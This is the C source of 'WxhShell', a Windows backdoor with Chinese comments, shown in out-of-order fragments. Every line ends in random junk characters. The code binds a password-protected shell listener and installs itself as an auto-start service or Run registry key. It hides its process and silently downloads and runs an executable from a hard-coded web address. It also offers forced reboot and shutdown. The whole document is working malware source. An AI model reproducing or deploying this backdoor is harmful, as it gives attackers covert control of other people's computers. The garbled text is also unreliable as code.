    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U [*FCD!~  
    if(Boot(SHUTDOWN)) V E#Wb7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c(J!~7  
    else { 1cxrH+N  
    closesocket(wsh); lAi6sPG)0  
    ExitThread(0); j:<n+:H C  
    } dUsYZdQs  
    break; $()5VM b  
    } 9Kpa><  
  // 获取shell M2d$4-<  
  case 's': { yQU_>_!n  
    CmdShell(wsh); /rM I"khB  
    closesocket(wsh); t'?.8}?)I&  
    ExitThread(0); PjZvQ\Z  
    break; ?<V?wsp  
  } b$4"i XSQ  
  // 退出 T3~k>"W  
  case 'x': { 11TL~ xFh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~kQA7;`j$  
    CloseIt(wsh); N2B|SO''  
    break; 'U1R\86M  
    } *$yR*}A  
  // 离开 _/F7 ?^j  
  case 'q': { Y ?S!8-z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %Qc La//  
    closesocket(wsh); Hcl(3> Jn2  
    WSACleanup(); >v:y?A,  
    exit(1); 5Ec6),+&  
    break; {F3xJ[  
        } (gy#js #  
  } &{ay=Mj  
  } 5XO;N s  
Q7*SE%H  
  // 提示信息 YX=a#%vrl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kv3E4,<9  
} 3_txg>P"  
  } sA/pVU  
5Eg1Q YVt  
  return; 1|RANy  
} =5Q]m6-SgV  
2-7IJ\  
// shell模块句柄 >XK PTC5H  
int CmdShell(SOCKET sock) bW$J~ynM  
{ K&bzDzd`  
STARTUPINFO si; #,,d>e  
ZeroMemory(&si,sizeof(si)); >Nvjl~o5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6""G,"B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wN`jE0 {  
PROCESS_INFORMATION ProcessInfo; ]j'p :v  
char cmdline[]="cmd"; T@G?t0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m=?KZ?U`  
  return 0; (0j}-iaQEZ  
} j:5=s%S  
}3o|EXx=  
// 自身启动模式 W"zab  
int StartFromService(void) Id'X*U7Q  
{ PfreAEv,  
typedef struct 5i> $]*o  
{ b@rVo;  
  DWORD ExitStatus; }'""(,2  
  DWORD PebBaseAddress; ,-i zEr  
  DWORD AffinityMask; D&/kCi=R  
  DWORD BasePriority; }v Z+A  
  ULONG UniqueProcessId; ' qWALu  
  ULONG InheritedFromUniqueProcessId; m5L-67[sB  
}   PROCESS_BASIC_INFORMATION; +g` 'J$  
BbW^Wxd3  
PROCNTQSIP NtQueryInformationProcess; f%Ns[S~r  
_jJPbKz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q;QbUO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d`P7}*; `  
e}Cif2#d~  
  HANDLE             hProcess; >ZPsjQuf"  
  PROCESS_BASIC_INFORMATION pbi; )Gj8X}DM  
i;NUAmx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |o{:ZmzM  
  if(NULL == hInst ) return 0; L$9 . 8W  
s~>d:'k7|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0ZBJ ~W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M:-.o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |zR8rqBX;  
@W va tD V  
  if (!NtQueryInformationProcess) return 0; >=RmGS  
gg[WlRQK4A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9;_sC  
  if(!hProcess) return 0; b?TO=~k,  
?3*l{[@J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U'8bdsF_  
 /<HRwG\w  
  CloseHandle(hProcess); P/c&@_b  
WOQP$D9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Pf|siC^;s~  
if(hProcess==NULL) return 0; QrfG^GID  
'qjeXqGH$  
HMODULE hMod; p89wNSMl[  
char procName[255]; LA@w:Fg  
unsigned long cbNeeded; "]z-: \ V  
<%maDM^_\(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1abtgDL  
fJ/e(t  
  CloseHandle(hProcess); cc#gEm)3C  
R($KSui  
if(strstr(procName,"services")) return 1; // 以服务启动 jqv-D  
Tsgk/e9K2?  
  return 0; // 注册表启动 b /@#}Gc  
} 0(mkeIzJt/  
7bk%mQk  
// 主模块 u:[vaBh91  
int StartWxhshell(LPSTR lpCmdLine) V\u>"3BQw  
{ MO&}r7qq  
  SOCKET wsl; hv8P4"i v  
BOOL val=TRUE; VG,u7A*Z#  
  int port=0; zoOaVV&1  
  struct sockaddr_in door; >?6&c  
!OBEM1~ 1  
  if(wscfg.ws_autoins) Install(); c%&: 6QniZ  
!'mq ?C=  
port=atoi(lpCmdLine); _acE:H  
I 6<*X  
if(port<=0) port=wscfg.ws_port; Bm"KOr$}-  
1jy9lP=  
  WSADATA data; I 4,K43|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2C/$Ei^t  
/h*>P:i].  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P^w#S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v1%uxthW  
  door.sin_family = AF_INET; g{8,Wx,,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1jN-4&  
  door.sin_port = htons(port); hg+X(0  
 :@%4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y>72{  
closesocket(wsl); um4yF*3b9  
return 1; 4d8B`Fa9  
} KcK>%%  
} w 5l  
  if(listen(wsl,2) == INVALID_SOCKET) { ?RK]FP"A  
closesocket(wsl); HRiL.DS  
return 1; <FWF<r3F  
} 7RUofcax  
  Wxhshell(wsl); dgA-MQ5{  
  WSACleanup(); JcbwDlUb  
-TM 0]{  
return 0; |P -8HlOr  
#$c Rkw  
} %kB8'a3  
1E73i_L  
// 以NT服务方式启动 9[m6Li  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mf}O-Igte  
{ t?9v^vFR  
DWORD   status = 0; q~3,yyu  
  DWORD   specificError = 0xfffffff; |4T !&[r  
E-I-0h2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0%m)@ukb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A8pIs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D9FJ 1~  
  serviceStatus.dwWin32ExitCode     = 0; vgUb{D  
  serviceStatus.dwServiceSpecificExitCode = 0; zipS ]YD  
  serviceStatus.dwCheckPoint       = 0; =dII- L=`  
  serviceStatus.dwWaitHint       = 0; )yTm.F  
QNA RkYY~|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,Fi>p0bz  
  if (hServiceStatusHandle==0) return; HYD"#m'TkB  
>B2:kY F  
status = GetLastError(); ?Rj~f{%g  
  if (status!=NO_ERROR) hir4ZO%Zt  
{ \T <$9aNb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2I&o69x?  
    serviceStatus.dwCheckPoint       = 0; >y[oP!-|P  
    serviceStatus.dwWaitHint       = 0; ;PjQt=4K  
    serviceStatus.dwWin32ExitCode     = status; &2`Fn!m  
    serviceStatus.dwServiceSpecificExitCode = specificError; sFQ^2PwbS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #|*F1K  
    return; Q($Z%1S  
  } )hk   
tI7:5Cm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y=?yhAw  
  serviceStatus.dwCheckPoint       = 0; hi0R.V&  
  serviceStatus.dwWaitHint       = 0; ,t`Kv1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0#ClWynjRO  
} 4dhvFGlW  
`67[O4$<  
// 处理NT服务事件,比如:启动、停止 6IWxPt ~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QF&W`c  
{ r=6v`)Qr  
switch(fdwControl) /)dFK~  
{ |\U5) ,m  
case SERVICE_CONTROL_STOP: )l!3(  
  serviceStatus.dwWin32ExitCode = 0; DqX{'jj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h=(DX5:A  
  serviceStatus.dwCheckPoint   = 0; zOGU8Wg  
  serviceStatus.dwWaitHint     = 0; ^_ kJKM,  
  { 4H|(c[K;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /w]!wM  
  } R1& [S/  
  return; 55;g1o}}f  
case SERVICE_CONTROL_PAUSE: aBNZdX]vzO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sgO'wXcoP  
  break; dw TMq*e  
case SERVICE_CONTROL_CONTINUE: I('Un@hS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i:u1s"3~  
  break; Rr!Y3)f;  
case SERVICE_CONTROL_INTERROGATE: 7^Ns&Q  
  break; v{9t]s>B  
}; 2'5]~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vq!_^F<  
} 7f~Sf  
Op>%?W8/UF  
// 标准应用程序主函数 *P#WDXRwd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?}m']4p  
{ Q4*fc^?u  
!}4MN:r  
// 获取操作系统版本 ,:`ND28V7  
OsIsNt=GetOsVer(); JB>b`W9   
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fr%d}g  
X+~ XJ  
  // 从命令行安装 bk)g;+@  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'sxNDnGg  
D`xHD#j h  
  // 下载执行文件 59#lU~Kv  
if(wscfg.ws_downexe) { fm^@i;D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >5j<4ShW  
  WinExec(wscfg.ws_filenam,SW_HIDE); #?XQ7Im  
} n_B"- n  
La@ +>  
if(!OsIsNt) { }sx_Yj  
// 如果时win9x,隐藏进程并且设置为注册表启动 P(;?kg}0  
HideProc(); VwEb7v,^0\  
StartWxhshell(lpCmdLine); -CRra EXf8  
} x ul]m*Z  
else ixV0|P8,c  
  if(StartFromService()) r YF #^  
  // 以服务方式启动 i,|0@Vy  
  StartServiceCtrlDispatcher(DispatchTable); OQ,NOiNkap  
else ?_v{| YI=  
  // 普通方式启动 V13BB44  
  StartWxhshell(lpCmdLine); @c ~)W8  
RGK8'i/X  
return 0; Q6XRsFc  
} a&k_=/X&  
r%e KFS  
XfKo A0  
V~ TWKuR  
=========================================== z Nl ,  
J!5v~<v?-  
P<Zh XN'  
e#B#B  
rvyr xw%[  
NNF>Xa`9,  
" M{$j  
)LdyC`S\c  
#include <stdio.h> .-JCwnP  
#include <string.h> Q//,4>JKf  
#include <windows.h> ?]rPRV  
#include <winsock2.h> VOr1  
#include <winsvc.h> PC qZNBN  
#include <urlmon.h> ?h0X,fl3  
$-&BB(-{E&  
#pragma comment (lib, "Ws2_32.lib") rLU/W<F8  
#pragma comment (lib, "urlmon.lib") A"aV'~>  
Dk='+\  
#define MAX_USER   100 // 最大客户端连接数 sO5?aB&  
#define BUF_SOCK   200 // sock buffer jn: NYJv  
#define KEY_BUFF   255 // 输入 buffer @G:V  
Hk7q{`:N  
#define REBOOT     0   // 重启 zz^F k&  
#define SHUTDOWN   1   // 关机 5P .qXA"D  
JMCW}bA  
#define DEF_PORT   5000 // 监听端口 qiZO _=0  
gh>>Ibf  
#define REG_LEN     16   // 注册表键长度 1lsLJ4P  
#define SVC_LEN     80   // NT服务名长度 C_ \q?>  
gaf$uT2  
// 从dll定义API @A+RVg*=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ex<O]kPFE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +`sv91c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gt\MS;jMa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :d8W +|1u  
a,o_`s<  
// wxhshell配置信息 {,cCEXag%  
struct WSCFG { k/03ZxC-  
  int ws_port;         // 监听端口 )?2e  
  char ws_passstr[REG_LEN]; // 口令 #eN{!Niy&U  
  int ws_autoins;       // 安装标记, 1=yes 0=no )9S>Z ZF  
  char ws_regname[REG_LEN]; // 注册表键名 @ a4/ELx  
  char ws_svcname[REG_LEN]; // 服务名 z`6fotL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9 C{;h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4G@nZn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \j2;4O?`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zd_HxYrN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X]loJoM9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |e a~'N1  
}dxDt qb  
}; Bk}><H  
dtPoo\@  
// default Wxhshell configuration IG?'zppjd6  
struct WSCFG wscfg={DEF_PORT, m'-|{c  
    "xuhuanlingzhe", `funE:>,  
    1, cV-1?h63  
    "Wxhshell", &3Zy|p4V<  
    "Wxhshell", 5[{*{^F4  
            "WxhShell Service", Gd+ET  
    "Wrsky Windows CmdShell Service", 1shBY@mlq  
    "Please Input Your Password: ", WU4UZpz  
  1, v_S4hz6w\  
  "http://www.wrsky.com/wxhshell.exe", zKFp5H1!%+  
  "Wxhshell.exe" eh*6cQ.0  
    }; Eh| .  
Y:ldR  
// 消息定义模块 `imWc "'Ej  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0GDvwy D1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I5AO?BzJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~dHM4lGY  
char *msg_ws_ext="\n\rExit."; |BZDhd9<{  
char *msg_ws_end="\n\rQuit."; \tyg(srw0  
char *msg_ws_boot="\n\rReboot..."; d/74{.  
char *msg_ws_poff="\n\rShutdown..."; Gq#~vr  
char *msg_ws_down="\n\rSave to "; ,uz ]V1  
B$?qQ|0:=  
char *msg_ws_err="\n\rErr!"; ?4G|+yby  
char *msg_ws_ok="\n\rOK!"; Zs2-u^3&  
65,(4Udz!  
char ExeFile[MAX_PATH]; Zc"B0_&?:7  
int nUser = 0; q EUT90  
HANDLE handles[MAX_USER]; rg_Q"g  
int OsIsNt; +KEkmXZ  
W YW|P2*  
SERVICE_STATUS       serviceStatus; ]=73-ywn]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ovw[b2ii  
1x~U*vbhQ  
// 函数声明 zVv04_:  
int Install(void); jy2IZ o  
int Uninstall(void); R)Mt(gFZT_  
int DownloadFile(char *sURL, SOCKET wsh); Oq(VvS/  
int Boot(int flag); he+#Q 6  
void HideProc(void); (IbW; bV  
int GetOsVer(void); [O ",  
int Wxhshell(SOCKET wsl); vQ@2FZzu>  
void TalkWithClient(void *cs); >yJ-4lgZ  
int CmdShell(SOCKET sock); w(nHD*nm  
int StartFromService(void); w'7R4  
int StartWxhshell(LPSTR lpCmdLine); m+$ @'TbP  
MVCl.o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EA<}[4#jS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |rRG=tG_'  
]7AX%EG3  
// 数据结构和表定义 lz | 64J  
SERVICE_TABLE_ENTRY DispatchTable[] = }iBC@`mg(  
{ _L.n,  
{wscfg.ws_svcname, NTServiceMain}, 02JL*  
{NULL, NULL} vOI[Z0Lq9h  
}; -m 5}#P89  
*B)yy[8j+  
// 自我安装 FrTg4  
int Install(void) ~:sE:9$z  
{ o[6y+<'o  
  char svExeFile[MAX_PATH]; ;/AG@$)  
  HKEY key; TB aVW  
  strcpy(svExeFile,ExeFile); O';ew)tI  
)wzV $(~  
// 如果是win9x系统,修改注册表设为自启动 @nV5.r0W}B  
if(!OsIsNt) { !{_yaVF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x;BbTBc>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E^ h=!RW{  
  RegCloseKey(key); qW^vz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cX2^wu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vC/[^  
  RegCloseKey(key); ":?T%v>  
  return 0; \ SCy$,m  
    } `kN #4p  
  } ~KIDv;HSb[  
} +zOOdSFk.  
else { z xZtz  
zz$q5[n  
// 如果是NT以上系统,安装为系统服务 &;q<M_<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NSLVD[yT  
if (schSCManager!=0) iT )WR90  
{ GSVdb/+  
  SC_HANDLE schService = CreateService `QP ~  
  ( Z&yaSB  
  schSCManager, ,WTTJN  
  wscfg.ws_svcname, 2C+(":=}  
  wscfg.ws_svcdisp, OjnJV  
  SERVICE_ALL_ACCESS, R 4EEelSZu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t)1phg4H)  
  SERVICE_AUTO_START, JSMPyj  
  SERVICE_ERROR_NORMAL, h%#_~IA:|  
  svExeFile, 4,eQW[;kk  
  NULL, CVKnTEs  
  NULL, E%k7wM {  
  NULL, U :9=3A2$x  
  NULL, ?p8Qx\%*  
  NULL )GB`*M[   
  ); 0~E 6QhV:  
  if (schService!=0) KHj6Tg;)  
  { Q2'eQ0W{ o  
  CloseServiceHandle(schService); 2 g`[u|  
  CloseServiceHandle(schSCManager); ~5#)N{GbY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =q CF%~  
  strcat(svExeFile,wscfg.ws_svcname); KXBL eR&^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R ZcH+?7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bcJ@-i0V  
  RegCloseKey(key); 8cr NOZS6  
  return 0; saK;[&I*  
    } (ppoW  
  } ;( K MGir  
  CloseServiceHandle(schSCManager); b&t[S[P.V  
} 2>y:N.  
} $Lq:=7&LRn  
J1 tDO?  
return 1; V2`;4dX*2  
} :k"rhI  
$AwZ2HY  
// 自我卸载 ILG?r9 x  
int Uninstall(void) C!UEXj`l9  
{ 1MQ/ r*(  
  HKEY key; QPg2Y<2  
U~QMR-bz  
if(!OsIsNt) { 23E 0~O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5d 5t9+t  
  RegDeleteValue(key,wscfg.ws_regname); =:5<{J OG  
  RegCloseKey(key); co]Gmg6p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Va9q`XbyO  
  RegDeleteValue(key,wscfg.ws_regname); V<0$xV1b|=  
  RegCloseKey(key); d(l|hmj4j9  
  return 0; ofwQ:0@  
  } qC j*>D  
} ep?:;98|t  
} 0$Ff#8  
else { _g6wQdxT  
d^aNR Lv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y+|PY? ~  
if (schSCManager!=0) %Dyh:h   
{ Mvof%I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NWISS  
  if (schService!=0) [ -12]3  
  { 9s $PrF  
  if(DeleteService(schService)!=0) { ^![{,o@"A  
  CloseServiceHandle(schService); &:8T$U V  
  CloseServiceHandle(schSCManager); GVObz?Z]SB  
  return 0; a J-}  
  } M.k|bh8  
  CloseServiceHandle(schService); wznn #j  
  } =HPu {K$  
  CloseServiceHandle(schSCManager); 8kbBz  
} Y +qus  
} qc-C>Ra  
6UB6;-  
return 1; z6Z='=pT  
} #<}kISV0  
QN #)F  
// 从指定url下载文件 :0dfB&7  
int DownloadFile(char *sURL, SOCKET wsh) !fZLQc  
{ u%aFb*  
  HRESULT hr; M71R -B`-  
char seps[]= "/"; (HSw%e  
char *token; 5&%fkZ0  
char *file; j];G*-iv{  
char myURL[MAX_PATH]; [tN` :}?  
char myFILE[MAX_PATH]; W"O-L  
}bgo )<i  
strcpy(myURL,sURL); *.dKR  
  token=strtok(myURL,seps); kknhthJ  
  while(token!=NULL) p,s&61]  
  { |UZOAGiBg  
    file=token;  7kM4Ei  
  token=strtok(NULL,seps); Qi|?d7k0  
  } vTcZ8|3e  
Gbx";Y8  
GetCurrentDirectory(MAX_PATH,myFILE);  V.fp/jhj  
strcat(myFILE, "\\"); @ay|]w  
strcat(myFILE, file); #fzw WP  
  send(wsh,myFILE,strlen(myFILE),0); 7<4xtK`+b  
send(wsh,"...",3,0); [iXi\Ex  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /fC\K_<N  
  if(hr==S_OK) MBv/  
return 0; LO}z)j~W  
else 4]u,x`6C  
return 1; w=$'Lt!  
UGf6i"F  
} N4+g("  
cP('@K=p  
// 系统电源模块 M%;"c?g  
int Boot(int flag) .J:;_4x  
{ M)tv;!eQ  
  HANDLE hToken; ,N;v~D$Y  
  TOKEN_PRIVILEGES tkp; P09,P  
hqWbp*  
  if(OsIsNt) { nO}$ 76*'0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *sAOpf@M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ytob/tc  
    tkp.PrivilegeCount = 1; 'M lXnHxt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k?n]ZNlT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8iOO1I?+  
if(flag==REBOOT) { s%bUgO%&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cyHhy_~R  
  return 0; u:eW0Ows"  
} [^Q&suy  
else { [DL|Ht>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tUrNp~ve,  
  return 0; )ZeLaaP  
} 79a9L{gso  
  } n8Q* _?Z/  
  else { ofl'G]/$+  
if(flag==REBOOT) { >Ban?3{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l)%mqW%  
  return 0; ' me:Zd  
} LAos0bc)w\  
else { .c|9..Cq=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N@}gLBf  
  return 0; ]p}#NPe5  
} KDX$.$#  
} }*Dd/'2+1  
c0SX]4} G  
return 1; n'Bmz  
} "s> >V,  
oN4G1U Kc  
// win9x进程隐藏模块 "TUPYFK9  
void HideProc(void) |C|:i@c H  
{ a /QIJ*0  
+{'lZa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v/ eB,p  
  if ( hKernel != NULL ) Jtext%"eNg  
  { {DSyV:   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6G$/NW=L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t+jIHo  
    FreeLibrary(hKernel); /jvO XS\M  
  } OoE9W  
<TL])@da  
return; T4vogoy  
} cu:-MpE  
1"M"h_4  
// 获取操作系统版本 =P)"NP7f'  
int GetOsVer(void) ]|t9B/()i  
{ /^~p~HKtx  
  OSVERSIONINFO winfo; x}_rnf_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .:T9pplq  
  GetVersionEx(&winfo); \?r$&K]4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jm4)gmC  
  return 1; sK#H4y+<  
  else hl*MUD,  
  return 0; |^>u<E5  
} IC\E,m  
V;P1nL4L  
// 客户端句柄模块 "Jf4N  
int Wxhshell(SOCKET wsl)  .fbYB,0w  
{ d8D yv#gT  
  SOCKET wsh; /(y4V  
  struct sockaddr_in client; gZ1N&/9;  
  DWORD myID; %bEGv:88s  
i_|h{JK)  
  while(nUser<MAX_USER) *m iONc  
{ Pu1GCr(  
  int nSize=sizeof(client); >y&[BB7S6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bJANZn|H  
  if(wsh==INVALID_SOCKET) return 1; H&w(]PDh  
8 f|9W%jt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z4=_k{*  
if(handles[nUser]==0) N'I?fWN!;R  
  closesocket(wsh); P Q6T| >  
else r$94J'_  
  nUser++; }{P&idkv  
  } _F! :(@}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #W_i{bdO  
SnH:(tO[X  
  return 0; 5%EaX?0h+  
} /\6}S G;  
Hf;RIl2F  
// 关闭 socket 5T7_[{  
void CloseIt(SOCKET wsh) $:qI&)/  
{ 11PLH0  
closesocket(wsh); t)YFTO"Jj  
nUser--; PY[S z=[  
ExitThread(0); /,=Wy"0TJ  
} e!TG< (S  
.%|OGl ?  
// 客户端请求句柄 { +i;e]c  
void TalkWithClient(void *cs) ^H f+du  
{ @ARAX\F  
"K9vm^xP  
  SOCKET wsh=(SOCKET)cs; UDhwnGTq(l  
  char pwd[SVC_LEN]; _HSTiJVr  
  char cmd[KEY_BUFF]; 8h55$j  
char chr[1]; y.L|rRe@P  
int i,j; .;]YJy  
9OE_?R0c!  
  while (nUser < MAX_USER) { KteZK.+#:  
L&+% Wd~  
if(wscfg.ws_passstr) { 1"mnzbf8*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AaJ,=eQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @SX%? mk8G  
  //ZeroMemory(pwd,KEY_BUFF); iuvtj]/  
      i=0; WiPM <'  
  while(i<SVC_LEN) { }Z~pfm_S  
8Sd?b5|G~  
  // 设置超时 " 8~f  
  fd_set FdRead; V#n?&-{V  
  struct timeval TimeOut; 1^n5CI|7u  
  FD_ZERO(&FdRead); iKP\/LR<n  
  FD_SET(wsh,&FdRead); pZni,< Q  
  TimeOut.tv_sec=8; AJJ%gxqGq  
  TimeOut.tv_usec=0; >FK)p   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,Y78Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w*|=k~z  
Sn{aHH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n_e}>1_  
  pwd=chr[0]; ,U} 5  
  if(chr[0]==0xd || chr[0]==0xa) { @vVRF Z  
  pwd=0; oyi7YRvwd  
  break; e<ism?WG  
  } (h'$3~  
  i++; [wXwKr  
    } /6Jy'"+'0  
3G:NZ)p  
  // 如果是非法用户,关闭 socket ,"v)vTt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #dxJ#  
} !W+p<F1i  
D}k-2RM2k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '#pMEVP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -(%ar%~Zd  
p@!@^1j=  
while(1) { X#f+m) S  
.=et{\  
  ZeroMemory(cmd,KEY_BUFF); USHlb#*  
_E x*%Qf.  
      // 自动支持客户端 telnet标准   Q]2sj:  
  j=0; hi4h0\L!}  
  while(j<KEY_BUFF) { ;r0|_mnf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0|K/=dh5+  
  cmd[j]=chr[0]; 4EaS g#  
  if(chr[0]==0xa || chr[0]==0xd) { .O@q5G  
  cmd[j]=0; {7ZtOe  
  break; K%aPl~e  
  } #w%a m`+  
  j++; =+SVzK,+3  
    } YI? C-,  
Nv*E .|G  
  // 下载文件 S4aHce5PXA  
  if(strstr(cmd,"http://")) { a V+o\fId  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2f}K #i8   
  if(DownloadFile(cmd,wsh)) )Yy#`t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,_5YaX:<4  
  else ZmYSi$B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e$FAhwpon  
  } 6S&=OK^  
  else { jU3;jm.)  
|4?}W ,  
    switch(cmd[0]) { CLFxq@%nu~  
  jmk*z(}#:  
